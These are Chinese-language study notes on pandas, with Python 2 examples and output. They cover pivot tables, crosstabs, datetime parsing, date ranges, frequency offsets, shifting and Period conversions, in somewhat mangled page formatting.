                       size       tip   tip_pct  total_bill
    sex smoker
    Female No 2.592593 2.773519 0.156921 18.105185
    Yes 2.242424 2.931515 0.182150 17.977879
    Male No 2.711340 3.113402 0.160669 19.791237
    Yes 2.500000 3.051167 0.152771 22.284500
    1. 只想集合tip~pct和size~,根据day进行分组

      1
      print tips.pivot_table(['tip_pct', 'size'], index = ['sex', 'day'], columns = ['smoker'])
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
                    tip_pct                size
      smoker No Yes No Yes
      sex day
      Female Fri 0.165296 0.209129 2.500000 2.000000
      Sat 0.147993 0.163817 2.307692 2.200000
      Sun 0.165710 0.237075 3.071429 2.500000
      Thur 0.155971 0.163073 2.480000 2.428571
      Male Fri 0.138005 0.144730 2.000000 2.125000
      Sat 0.162132 0.139067 2.656250 2.629630
      Sun 0.158291 0.173964 2.883721 2.600000
      Thur 0.165706 0.164417 2.500000 2.300000
    2. 传入margins = True添加分项小计

      1. 这将会添加标签为ALL的行和列

      2. 其值对应于单个等级中所有数据的分组统计

        1. 例子中all值为平均值:

          • 不单独考虑烟民和非烟民(ALl列)
          • 不单独考虑行分组两个级别中的任意单项(ALL行)

            1
            2
            print tips.pivot_table(['tip_pct', 'size'], index = ['sex', 'day'],
            columns = 'smoker', margins = True)
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            tippct size smoker No Yes All No
            Yes All sex day Female Fri 0.165296 0.209129
            0.199388 2.500000 2.000000 2.111111 Sat 0.147993
            0.163817 0.156470 2.307692 2.200000 2.250000 Sun
            0.165710 0.237075 0.181569 3.071429 2.500000
            2.944444 Thur 0.155971 0.163073 0.157525 2.480000
            2.428571 2.468750 Male Fri 0.138005 0.144730
            0.143385 2.000000 2.125000 2.100000 Sat 0.162132
            0.139067 0.151577 2.656250 2.629630 2.644068 Sun
            0.158291 0.173964 0.162344 2.883721 2.600000
            2.810345 Thur 0.165706 0.164417 0.165276 2.500000
            2.300000 2.433333 All 0.159328 0.163196 0.160803
            2.668874 2.408602 2.569672
    3.  使用其他聚合函数,将其传入agfunc即可

        
1
2
3
4
5
6
7
print tips.pivot_table('tip_pct', index = ['sex', 'smoker'], columns = 'day',
aggfunc = len, margins = True)
print

#如果存在NA支,可以设置一个fill_value
print tips.pivot_table('size', index = ['time', 'sex', 'smoker'],
columns = 'day', aggfunc = 'sum', fill_value = 0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
day             Fri   Sat   Sun  Thur    All
sex smoker
Female No 2.0 13.0 14.0 25.0 54.0
Yes 7.0 15.0 4.0 7.0 33.0
Male No 2.0 32.0 43.0 20.0 97.0
Yes 8.0 27.0 15.0 10.0 60.0
All 19.0 87.0 76.0 62.0 244.0

day Fri Sat Sun Thur
time sex smoker
Dinner Female No 2 30 43 2
Yes 8 33 10 0
Male No 4 85 124 0
Yes 12 71 39 0
Lunch Female No 3 0 0 60
Yes 6 0 0 17
Male No 0 0 0 50
Yes 5 0 0 23

pivot~table的参数

参数名 说明
values 待聚合的列的名称
默认聚合所有数值列
index 用于分组的列名或其他分组键
出现在结果透视表的行
columns 用于分组的列名或者其他分组键
出现在结果透视表的列
aggfunc 聚合函数或函数列表
默认为’mean’
可以使任意对groupby有效的函数
margins 添加行/列小计和总计,默认为False

交叉表

  1. 用于计算分组平率的特殊透视表

    1
    2
    3
    4
    5
    6
    7
    8
    data = pd.DataFrame({'Sample': range(10),
    "Gender": ['Female', 'Male', 'Female', 'Male', 'Male', 'Male', 'Female', 'Female', 'Male', 'Female'],
    'Handedness': list('RLRRLRRLRR')})
    print data
    print

    print pd.crosstab(data.Gender, data.Handedness, margins = True)
    print
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
       Gender Handedness  Sample
    0 Female R 0
    1 Male L 1
    2 Female R 2
    3 Male R 3
    4 Male L 4
    5 Male R 5
    6 Female R 6
    7 Female L 7
    8 Male R 8
    9 Female R 9

    Handedness L R All
    Gender
    Female 1 4 5
    Male 2 3 5
    All 3 7 10

示例: 2012联邦选取委员会数据库 待补充</span> [示例-2012联邦选取委员会数据库]

Chapter 10: 时间序列

时间序列应用于以下几个主要场景

  • 时间戳(timestamp), 特定的时刻
  • 固定时间(period),如2007年1月或者2010年全年
  • 时间间隔(interval),由起始和结束时间戳表示。时期(period)可以被看做间隔的特例
  • 时间或过程时间,每个时间点都是相对于特定起始时间的一个度量

日期和时间数据类型及工具

python拥有 data time 数据类型

我们主要用到datatime time calendar模块

  1. 其中datetime.datetime是用的最多的数据类型

    1
    2
    3
    4
    from datetime import datetime
    now = datetime.now()
    print now
    print now.year, now.month, now.day
    1
    2
    2016-09-23 16:40:23.266000
    2016 9 23
  2. datetime以毫秒形式储存日期和时间,datetime.timedelta表示两个datetime之间的时间差

    1
    2
    3
    4
    delta = datetime(2011, 1, 7) - datetime(2008, 6, 25, 8, 15)
    print delta #书上结果是 datetime.timedelta(926,56700)
    print delta.days
    print delta.seconds
    1
    2
    3
    925 days, 15:45:00
    925
    56700
  3. 给datetime对象加上(减去)一个或多个timedelta,会产生新对象

    1
    2
    3
    4
    from datetime import timedelta
    start = datetime(2011, 1, 7)
    print start + timedelta(12)
    print start - 2 * timedelta(12)
    1
    2
    2011-01-19 00:00:00
    2010-12-14 00:00:00

datetime模块中的数据类型

类型 说明
date 以公历形式储存日历日期(年 月 日)
time 将时间储存为时 分 秒 毫秒
timedelta 表示两个datetime值之间的查(日, 秒, 毫秒)

字符串和datetime的相互转换

  1. 利用str或strftime方法(传入格式化字符串),datetime和pandas的Timestamp会被转化成字符串

    1
    2
    3
    stamp = datetime(2011, 1, 3)
    print str(stamp)
    print stamp.strftime('%Y-%m-%d')
    1
    2
    2011-01-03 00:00:00
    2011-01-03
  2. datetime.strptime可以用格式化字符将字符串转换成日期

    1
    2
    3
    4
    value = '2011-01-03'
    print datetime.strptime(value, '%Y-%m-%d')
    datestrs = ['7/6/2011', '8/6/2011']
    print [datetime.strptime(x,'%m/%d/%Y') for x in datestrs]
    1
    2
    2011-01-03 00:00:00
    [datetime.datetime(2011, 7, 6, 0, 0), datetime.datetime(2011, 8, 6, 0, 0)]
  3. datetime.strptime是通过已知格式进行日期解析的最佳方式

  4. 但是因为输入格式定义很麻烦,所以可以用dateutil这第三方库的parser.parse方法来处理常见日期格式

    1
    2
    3
    4
    5
    6
    7
    8
    from dateutil.parser import parse
    print parse('2011-01-03')

    #dateutil可以解析几乎所有人类能够理解的日期表示形式
    print parse('Jan 31, 1997 10:45 PM')

    #国际通用的格式中,日通常出现在月的前面,传入dayfirst = True即可解决这个问题
    print parse('6/12/2011', dayfirst = True)
  5. pandas通常用于处理成组日期,不管日期是DF的轴索还是列

  6. to~datetime方法解析不同的日期表示~,对标准日期格式(如ISO8601)的解析非常快

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    print datestrs
    print pd.to_datetime(datestrs)
    print

    #处理缺失值(None, 空字符串等)
    idx = pd.to_datetime(datestrs + [None])
    print idx

    #NaT(not a time)是pandas的时间戳数据的NA值
    print idx[2]
    print pd.isnull(idx)
    1
    2
    ['7/6/2011', '8/6/2011']
    DatetimeIndex(['2011-07-06', '2011-08-06'], dtype='datetime64[ns]', freq=None)

    :

    1
    2
    3
    DatetimeIndex(['2011-07-06', '2011-08-06', 'NaT'], dtype='datetime64[ns]', freq=None)
    NaT
    [False False True]
  7. datetime格式定义(兼容ISO C89)

    | 代码 | 说明 |
    |———|————————————————————-|
    | %Y | 4位数的年 |
    | %y | 2位数的年 |
    | %m | 2位数的月[01,12] |
    | %d | 2位数的日[01,31] |
    | %H | 时(24小时制)[00,23] |
    | % | 时(12小时制)[01,12] |
    | %M | 2位数的分[00,59] |
    | %S | 秒[00,61]秒60 61用于闰秒 |
    | %w | 用整数表示的星期几[0(星期天),6] |
    | %U | 每年的第几周[00,53] |
    | | 星期天被认为每周的第一天 |
    | | 每年第一个星期天之前得几天认为是”第0周” |
    | %W | 每年的第几周[00,53] |
    | | 星期一被认为每周的第一天 |
    | | 每年第一个星期一之前得几天认为是 |
    | %z | 以+HHMM或-HHMM表示UTC时区偏移量 |
    | | 如果时区为naive,返回空字符串 |
    | %F | %Y-%m-%d简写形式,列如2012-04-18 |
    | %D | %m/%d/%y简写形式,列如04/18/12 |

  8. 特定于当前环境的日期格式

    | 代码 | 说明 |
    |———|——————————————————————-|
    | %a | 星期几的简写 |
    | %A | 星期几的全称 |
    | %b | 月份的简写 |
    | %B | 月份的全称 |
    | %c | 完整的日期和时间 |
    | | 列如”Tue 01 May 2012 04:20:57 PM” |
    | %p | 不同环境中的AM或PM |
    | %x | 适合于不同当前环境的日期格式 |
    | | 列如在美国,”May 1, 2012”会产生”05/01/2012” |
    | %X | 适合于当前环境的时间格式 |
    | | 例如”04:24:12 PM” |

时间序列基础

前提知识

  1. pandas最基本的时间序列类型就是以时间戳为索引的Series

    1
    2
    3
    4
    5
    from datetime import datetime
    dates = [datetime(2011, 1, 2), datetime(2011, 1, 5), datetime(2011, 1, 7),
    datetime(2011, 1, 8), datetime(2011, 1, 10), datetime(2011, 1, 12)]
    ts = pd.Series(np.random.randn(6), index = dates)
    print ts
    1
    2
    3
    4
    5
    6
    7
    2011-01-02   -0.845472
    2011-01-05 0.326411
    2011-01-07 -0.002475
    2011-01-08 -0.225972
    2011-01-10 0.030098
    2011-01-12 1.321111
    dtype: float64
  2. datetime对象实际上被放在一个DatetimeIndex中

    1. 上面的ts就变成一个TimeSeries

      1
      2
      3
      print type(ts)

      print ts.index
      1
      2
      3
      4
      <class 'pandas.core.series.Series'>
      DatetimeIndex(['2011-01-02', '2011-01-05', '2011-01-07', '2011-01-08',
      '2011-01-10', '2011-01-12'],
      dtype='datetime64[ns]', freq=None)
  3. 不同索引的时间序列之间的算术运算会自动按日期对齐

    1
    print ts + ts[::2]
    1
    2
    3
    4
    5
    6
    7
    2011-01-02   -1.690945
    2011-01-05 NaN
    2011-01-07 -0.004949
    2011-01-08 NaN
    2011-01-10 0.060196
    2011-01-12 NaN
    dtype: float64
  4. pandas用numpy的datetime64数据类型以纳秒形式储存时间戳

    1
    print ts.index.dtype
    1
    datetime64[ns]
  5. DatetimeIndex的各q个标量值是pandas的Timestamp对象

    1
    2
    3
    stamp = ts.index[0]
    print stamp
    print type(stamp)
    1
    2
    2011-01-02 00:00:00
    <class 'pandas.tslib.Timestamp'>
  6. TimeStamp可以随时自动转换为datetime对象

    1. 此外还可以储存频率信息(如果有的话),且知道如何执行时区转换及其他操作

索引、选取、子集构造

  1. 因为TimeSeries是Series的一个子集,所以在索引和数据选取方面行为是一样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    stamp = ts.index[2]
    print stamp
    print ts[stamp]

    #另一种更为方便的用法,传入一个可以被解释为日期的字符串
    print ts['1/10/2011']
    print
    print ts['20110110']
    print

    #对于较长的时间序列,只需传入"年" 或 "年月" 即可获得数据的切片
    longer_ts = pd.Series(np.random.randn(1000),
    index = pd.date_range('1/1/2000', periods = 1000))
    print longer_ts[-5:]
    print
    print len(longer_ts['2001'])
    print
    print longer_ts['2001-05']
    print

    #通过日期进行切片的方式只对规则Series有效
    print ts[datetime(2011,1,9):]
    print

    #对于大部分时间序列是按照时间先后排序的,
    #因此可以用不存在于该时间序列中的时间戳来对其切片(范围查询)
    print ts['1/6/2011': '1/11/2011'] #可以传入字符串日期,datetime或Timestamp

    #另一个截取的方法
    print ts.truncate(after = '1/9/2011')

    #对DF进行索引
    dates = pd.date_range('1/1/2000', periods = 100, freq = 'W-WED') #星期三的日期
    long_df = pd.DataFrame(np.random.randn(100,4),
    index = dates,
    columns = ['Colorado', 'Texas', 'New York', 'Ohio'])
    print long_df.ix['5-2001']
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    2011-01-07 00:00:00
    -0.00247469657877
    0.0300981333535

    0.0300981333535

    2002-09-22 -1.292983
    2002-09-23 -0.663150
    2002-09-24 -1.246379
    2002-09-25 -0.480229
    2002-09-26 -1.425084
    Freq: D, dtype: float64

    365

    2001-05-01 0.522341
    2001-05-02 1.105745
    2001-05-03 -0.955111
    2001-05-04 -0.129135
    2001-05-05 -0.480308
    2001-05-06 -0.611974
    2001-05-07 -0.489040
    2001-05-08 1.599516
    2001-05-09 -1.718454
    2001-05-10 0.896244
    2001-05-11 0.398462
    2001-05-12 0.114994
    2001-05-13 2.601561
    2001-05-14 -0.022382
    2001-05-15 0.161495
    2001-05-16 -0.749117
    2001-05-17 0.251396
    2001-05-18 0.096229
    2001-05-19 0.116899
    2001-05-20 0.598400
    2001-05-21 -1.143373
    2001-05-22 0.740993
    2001-05-23 -0.163081
    2001-05-24 1.468237
    2001-05-25 1.161466
    2001-05-26 -0.262837
    2001-05-27 0.308709
    2001-05-28 -0.332932
    2001-05-29 0.536197
    2001-05-30 -0.072682
    2001-05-31 1.216165
    Freq: D, dtype: float64

    2011-01-10 0.030098
    2011-01-12 1.321111
    dtype: float64

    2011-01-07 -0.002475
    2011-01-08 -0.225972
    2011-01-10 0.030098
    dtype: float64
    2011-01-02 -0.845472
    2011-01-05 0.326411
    2011-01-07 -0.002475
    2011-01-08 -0.225972
    dtype: float64
    Colorado Texas New York Ohio
    2001-05-02 -0.068790 0.991744 -1.583433 -1.133356
    2001-05-09 -0.027371 0.003850 -1.567402 -0.744111
    2001-05-16 0.920044 -0.274756 -0.112520 -0.577484
    2001-05-23 -1.403174 -1.606607 0.509411 0.160882
    2001-05-30 1.904117 1.430996 -0.646121 0.874684

带有重复索引的时间序列

  1. 例子

    1
    2
    3
    dates = pd.DatetimeIndex(['1/1/2000', '1/2/2000', '1/2/2000', '1/2/2000','1/3/2000'])
    dup_ts = pd.Series(np.arange(5), index = dates)
    print dup_ts
    1
    2
    3
    4
    5
    6
    2000-01-01    0
    2000-01-02 1
    2000-01-02 2
    2000-01-02 3
    2000-01-03 4
    dtype: int32
    1. 检查索引的is~unique属性~,来知道它是不是唯一

      1
      print dup_ts.index.is_unique
      1
      False
    2. 进行索引,要么标量值,要么切片

      1
      2
      3
      4
      print '不重复的返回值:'
      print dup_ts['1/3/2000'] #不重复
      print '重复的返回值:'
      print dup_ts['1/2/2000'] #重复
      1
      2
      3
      4
      5
      6
      7
      不重复的返回值:
      4
      重复的返回值:
      2000-01-02 1
      2000-01-02 2
      2000-01-02 3
      dtype: int32
    3. 对非唯一的时间戳进行聚合,一个办法是使用groupby,并传入level =
      0(索引是唯一一层!)

      1
      2
      3
      4
      grouped = dup_ts.groupby(level = 0)
      print grouped.mean()
      print
      print grouped.count()
      1
      2
      3
      4
      2000-01-01    0
      2000-01-02 2
      2000-01-03 4
      dtype: int32

      :

      1
      2
      3
      4
      2000-01-01    1
      2000-01-02 3
      2000-01-03 1
      dtype: int64

日期的范围、频率以及移动

pandas中的时间序列是不规则的,但是需要频率进行分析时用resample

  1. resample会用缺失值填充没有的地方

    1
    2
    3
    4
    print ts
    print

    print ts.resample('D').index
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    2011-01-02   -0.845472
    2011-01-05 0.326411
    2011-01-07 -0.002475
    2011-01-08 -0.225972
    2011-01-10 0.030098
    2011-01-12 1.321111
    dtype: float64

    DatetimeIndex(['2011-01-02', '2011-01-03', '2011-01-04', '2011-01-05',
    '2011-01-06', '2011-01-07', '2011-01-08', '2011-01-09',
    '2011-01-10', '2011-01-11', '2011-01-12'],
    dtype='datetime64[ns]', freq='D')

生成日期范围,使用date~range~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
index = pd.date_range('4/1/2012','6/1/2012')
print index[-5:]
print

#默认date_range会按天数计算时间点,如果只传入起始或结束时间,那就还得传入一个表示一段时间的数字
print pd.date_range(start = '4/1/2012', periods = 20)
print

print pd.date_range(end = '6/1/2012', periods = 20)
print

#如果希望一个由每月最后一个工作日组成的索引,可传入"BM"频率(business end of month)
print pd.date_range('1/1/2000', '12/1/2000', freq = "BM")
print

#date_range默认会保留起始和结束时间戳的时间信息(如果有的话)
print pd.date_range('5/2/2000 12:56:31', periods = 5)
print

#有时虽然起始和结束日期带有时间信息,但希望产生一组被规范化(normalize)到午夜的时间戳
# normalize选项可以实现这功能
print pd.date_range('5/2/2012 12:56:31', periods = 5, normalize = True)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
DatetimeIndex(['2012-05-28', '2012-05-29', '2012-05-30', '2012-05-31',
'2012-06-01'],
dtype='datetime64[ns]', freq='D')

DatetimeIndex(['2012-04-01', '2012-04-02', '2012-04-03', '2012-04-04',
'2012-04-05', '2012-04-06', '2012-04-07', '2012-04-08',
'2012-04-09', '2012-04-10', '2012-04-11', '2012-04-12',
'2012-04-13', '2012-04-14', '2012-04-15', '2012-04-16',
'2012-04-17', '2012-04-18', '2012-04-19', '2012-04-20'],
dtype='datetime64[ns]', freq='D')

DatetimeIndex(['2012-05-13', '2012-05-14', '2012-05-15', '2012-05-16',
'2012-05-17', '2012-05-18', '2012-05-19', '2012-05-20',
'2012-05-21', '2012-05-22', '2012-05-23', '2012-05-24',
'2012-05-25', '2012-05-26', '2012-05-27', '2012-05-28',
'2012-05-29', '2012-05-30', '2012-05-31', '2012-06-01'],
dtype='datetime64[ns]', freq='D')

DatetimeIndex(['2000-01-31', '2000-02-29', '2000-03-31', '2000-04-28',
'2000-05-31', '2000-06-30', '2000-07-31', '2000-08-31',
'2000-09-29', '2000-10-31', '2000-11-30'],
dtype='datetime64[ns]', freq='BM')

DatetimeIndex(['2000-05-02 12:56:31', '2000-05-03 12:56:31',
'2000-05-04 12:56:31', '2000-05-05 12:56:31',
'2000-05-06 12:56:31'],
dtype='datetime64[ns]', freq='D')

DatetimeIndex(['2012-05-02', '2012-05-03', '2012-05-04', '2012-05-05',
'2012-05-06'],
dtype='datetime64[ns]', freq='D')

频率和日期偏移量

  1. 基础频率(base
    frequency)都由一个字符串表示,比如”M”代表每月,”H”代表每小时

  2. 对于每一个基础频率,都有一个日期偏移量(date offset)的对象与之对应

    1. 列如 小时计算的平率可以用Hour类表示

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      from pandas.tseries.offsets import Hour, Minute
      hour = Hour()
      print hour

      #传入一个整数,可定义偏移量的倍数
      four_hours = Hour(4)
      print four_hours

      #一般来说,无需显示创建这样的对象,只需使用诸如"H"和"4H"这样的字符串别名即可
      print pd.date_range('1/1/2000', '1/3/2000 23:59', freq = '4h')
      print

      #大部分偏移量可以用加法来连接
      print Hour(2) + Minute(30)
      print

      #同理,也可以传入频率字符串,这类字符串会被解析为等效的表达式
      print pd.date_range('1/1/2000', periods = 6, freq = '1h30min')
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      <Hour>
      <4 * Hours>
      DatetimeIndex(['2000-01-01 00:00:00', '2000-01-01 04:00:00',
      '2000-01-01 08:00:00', '2000-01-01 12:00:00',
      '2000-01-01 16:00:00', '2000-01-01 20:00:00',
      '2000-01-02 00:00:00', '2000-01-02 04:00:00',
      '2000-01-02 08:00:00', '2000-01-02 12:00:00',
      '2000-01-02 16:00:00', '2000-01-02 20:00:00',
      '2000-01-03 00:00:00', '2000-01-03 04:00:00',
      '2000-01-03 08:00:00', '2000-01-03 12:00:00',
      '2000-01-03 16:00:00', '2000-01-03 20:00:00'],
      dtype='datetime64[ns]', freq='4H')

      <150 * Minutes>

      DatetimeIndex(['2000-01-01 00:00:00', '2000-01-01 01:30:00',
      '2000-01-01 03:00:00', '2000-01-01 04:30:00',
      '2000-01-01 06:00:00', '2000-01-01 07:30:00'],
      dtype='datetime64[ns]', freq='90T')
  3. 有些列如”M”(日历月末), “BM”(每月最后一个工作日)为锚点偏移量(anchored
    offset)

  4. 时间序列的基础频率

    | 别名 | 偏移量累性格 | 说明 |
    |—————————-|———————————|—————————————————————————-|
    | D | Day | 每日历日 |
    | B | BusinessDay | 每工作日 |
    | H | Hour | 每小时 |
    | T或min | Minute | 每分 |
    | S | Second | 每秒 |
    | L或ms | Milli | 每毫秒(千分之一秒) |
    | U | Micro | 每微秒(每百万分之一秒) |
    | M | MonthEnd | 每月最后一个日历日 |
    | BM | BusinessMonthEnd | 每月最后一个工作日 |
    | MS | MonthBegin | 每月第一个日历日 |
    | BMS | BusinessMonthBegin | 每月第一个工作日 |
    | W-MON W-TUE … | week | 指定的星期几 |
    | | | (MON TUE WED THU FIR SAT SUM)开始算起,每周 |
    | WOM-1MON WOM-2MON | WeekOfMonth | 产生每月第一, 第二的星期几 |
    | | | 列如 WOM-3FRI表示每月第三个星期五 |
    | Q-JAN Q-FEB | quarterEnd | 对于以指定月份 |
    | | | (JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC) |
    | | | 结束的年度,每季度最后一月的最后一个日历日 |
    | BQ-JAN | BusinessQuarterEnd | 对于指定月份结束的年度 |
    | | | 每季度最后一月的最后一个工作日 |
    | QS-JAN | QuarterBegin | 对于以指定月份结束的年度 |
    | | | 每季度最后一月的第一个日历日 |
    | BQS-JAN | BusinessQuarterBegin | 对于以指定月份结束的年度, |
    | | | 每季度最后一月的第一个工作日 |
    | A-JAN | YearEnd | 每年指定月份的租后一个日历日 |
    | BA-JAN | BusinessYearEnd | 每年指定月份的最后一个工作日 |
    | AS-JAN | YearBegin | 每年指定月份的第一个日历日 |
    | BAS-JAN | BusinessYearBegin | 每年指定月份的第一个工作日 |

  5. WOM日期

    1. WOM(Week of
      Month)是一种非常实用的平率类,它以WOM开头,它能使你获得诸如”每月第三个星期五”之类的日期

      1
      2
      rng = pd.date_range('1/1/2012', '/9/1/2012', freq = 'WOM-3FRI')
      print list(rng)
      1
      [Timestamp('2012-01-20 00:00:00', offset='WOM-3FRI'), Timestamp('2012-02-17 00:00:00', offset='WOM-3FRI'), Timestamp('2012-03-16 00:00:00', offset='WOM-3FRI'), Timestamp('2012-04-20 00:00:00', offset='WOM-3FRI'), Timestamp('2012-05-18 00:00:00', offset='WOM-3FRI'), Timestamp('2012-06-15 00:00:00', offset='WOM-3FRI'), Timestamp('2012-07-20 00:00:00', offset='WOM-3FRI'), Timestamp('2012-08-17 00:00:00', offset='WOM-3FRI')]

移动(超前和滞后)数据

  1. 移动(shifting)指的是沿着时间轴将数据前移或后移

  2. Series和DataFrame都有一个shift方法用来执行单纯的前移或后移操作,保持索引不变

    1
    2
    3
    4
    5
    6
    7
    8
    ts = pd.Series(np.random.randn(4),
    index = pd.date_range('1/1/2000', periods = 4, freq = "M"))
    print ts
    print
    print ts.shift(2)
    print
    print ts.shift(-2)
    print
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    2000-01-31    0.008511
    2000-02-29 -0.086778
    2000-03-31 -0.272538
    2000-04-30 0.594061
    Freq: M, dtype: float64

    2000-01-31 NaN
    2000-02-29 NaN
    2000-03-31 0.008511
    2000-04-30 -0.086778
    Freq: M, dtype: float64

    2000-01-31 -0.272538
    2000-02-29 0.594061
    2000-03-31 NaN
    2000-04-30 NaN
    Freq: M, dtype: float64
    1. shift通常用于计算一个或多个时间序列中的百分比变化

      列如 ts/ts.shift(1) -1

    2. 由于单纯的移位操作不会修改索引,所以部分数据会丢失

    3. 如果频率已知,可以将其传给shift以便实现对时间戳进行位移而不是对数据的简单位移

      1
      2
      3
      4
      5
      6
      7
      print ts.shift(2, freq = 'M') #会按频率移动日期,但不移动数据
      print
      print ts.shift(3, freq = 'D')
      print
      print ts.shift(1, freq= '3D')
      print
      print ts.shift(1, freq = '90T')
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      2000-03-31    0.008511
      2000-04-30 -0.086778
      2000-05-31 -0.272538
      2000-06-30 0.594061
      Freq: M, dtype: float64

      2000-02-03 0.008511
      2000-03-03 -0.086778
      2000-04-03 -0.272538
      2000-05-03 0.594061
      dtype: float64

      2000-02-03 0.008511
      2000-03-03 -0.086778
      2000-04-03 -0.272538
      2000-05-03 0.594061
      dtype: float64

      2000-01-31 01:30:00 0.008511
      2000-02-29 01:30:00 -0.086778
      2000-03-31 01:30:00 -0.272538
      2000-04-30 01:30:00 0.594061
      Freq: M, dtype: float64
  3. 通过偏移量对日期进行位移

    1. pandas的日期偏移量可以用于datetime或Timestamp对象上

      1
      2
      3
      from pandas.tseries.offsets import Day, MonthEnd
      now = datetime(2011,11, 17)
      print now + 3 * Day()
      1
      2011-11-20 00:00:00
    2. 如果加的是锚点偏移量,第一次增量会将原本日期向前滚动到符合频率规则的下个日期

      1
      2
      3
      print now + MonthEnd() #now日期之后的第一个符合MonthEnd的日期
      print
      print now + MonthEnd(2)
      1
      2011-11-30 00:00:00

      :

      1
      2011-12-31 00:00:00
    3. 通过锚点偏移量的rollforward和rollback方法,可以显示的将日期向前或向后”滚动”

      1
      2
      3
      4
      offset = MonthEnd()
      print offset.rollforward(now) #向前增加偏移量类似于 now + offset
      print
      print offset.rollback(now) #向后增加偏移量 类似于 now - offset
      1
      2011-11-30 00:00:00

      :

      1
      2011-10-31 00:00:00
    4. 结合groupby使用 “滚动”方法 没明白</span>

      1
      2
      3
      4
      5
      6
      ts = pd.Series(np.random.randn(20),
      index = pd.date_range('1/15/2000', periods = 20, freq = '4d'))
      print ts.groupby(offset.rollforward).mean()

      #更简单的和快速的方式是使用resample
      print ts.resample('M', how = 'mean')
      1
      2
      3
      4
      5
      6
      7
      8
      2000-01-31   -0.144672
      2000-02-29 -0.859409
      2000-03-31 0.291670
      dtype: float64
      2000-01-31 -0.144672
      2000-02-29 -0.859409
      2000-03-31 0.291670
      Freq: M, dtype: float64

时区处理 待补充</span> [时区处理]

时区很多人都选择协调世界时(UTC),时区是以UTC偏移量来表示的

时期及其算术运算

时期(period)表示时间区间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
p = pd.Period(2007, freq = 'A-DEC')
print p #表示从2007 1月1号 到 2007 12月31日之间的整段时间
print

#对Period对象加上或减去整数,则可以对频率进行位移
print p + 5
print p - 2

#对于两个Period对象,如果拥有相同频率,则他们的差会是它们之间的单位数量
print pd.Period('2014', freq = 'A-DEC') - p #单位数 也就是7

#period_range函数可以创造规则的时间范围
rng = pd.period_range('1/1/2000', '6/30/2000', freq = 'M')
print rng
print

#PeriodIndex类保存了一组Period,它可以在任何pandas数据结构中被用作轴索引
print pd.Series(np.random.randn(6), index = rng)

#PeriodIndex类的构造函数还允许直接使用一组字符串 # 不明白
values = ['2001Q3', '2002Q2', '2003Q1']
index = pd.PeriodIndex(values, freq = 'Q-DEC')
print index
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2007

2012
2005
7
PeriodIndex(['2000-01', '2000-02', '2000-03', '2000-04', '2000-05', '2000-06'], dtype='int64', freq='M')

2000-01 1.254038
2000-02 -0.217865
2000-03 0.933366
2000-04 -0.439085
2000-05 -1.077546
2000-06 0.428148
Freq: M, dtype: float64
PeriodIndex(['2001Q3', '2002Q2', '2003Q1'], dtype='int64', freq='Q-DEC')

时期的频率转换

  1. Period和PeriodIndex对象都可以通过其asfreq方法被转换成别的频率

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    #将一个年度时期,转换成当年年初或年末的一个月度时期
    p = pd.Period('2007', freq = 'A-DEC')
    print p
    print
    print p.asfreq('M', how = 'start')
    print
    print p.asfreq('M', how = 'end')
    print

    #Period("2007", freq = 'A-DEC')看做一个被划分为多个月度时期的时间段中的游标
    p = pd.Period('2007', freq = 'A-JUN')
    print p.asfreq('M', 'start') #变成结尾日期的一年前的日期了 # 不明白
    print
    print p.asfreq('M', 'end')
    print
    1
    2
    3
    4
    5
    6
    7
    8
    9
    2007

    2007-01

    2007-12

    2006-07

    2007-06
    1. 将高频率转换成低频率时,超时期(superperiod)是由子时期(subperiod)所属的未知决定

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      #在A-JUN平率中 月份 "2007年8月"实际上是属于周期"2009年的"
      p = pd.Period('2007-08', 'M')
      print p.asfreq('A-JUN')

      #PeriodIndex或TimeSeries的频率转换方式也是如此
      rng = pd.period_range('2006', '2009', freq = 'A-DEC')
      ts = pd.Series(np.random.randn(len(rng)), index = rng)
      print ts
      print
      print ts.asfreq('M', how = 'start')
      print
      print ts.asfreq('B', how = 'end')
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      2008
      2006 0.035359
      2007 -0.089152
      2008 -0.334353
      2009 -0.935191
      Freq: A-DEC, dtype: float64

      2006-01 0.035359
      2007-01 -0.089152
      2008-01 -0.334353
      2009-01 -0.935191
      Freq: M, dtype: float64

      2006-12-29 0.035359
      2007-12-31 -0.089152
      2008-12-31 -0.334353
      2009-12-31 -0.935191
      Freq: B, dtype: float64

按季度计算的时期频率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
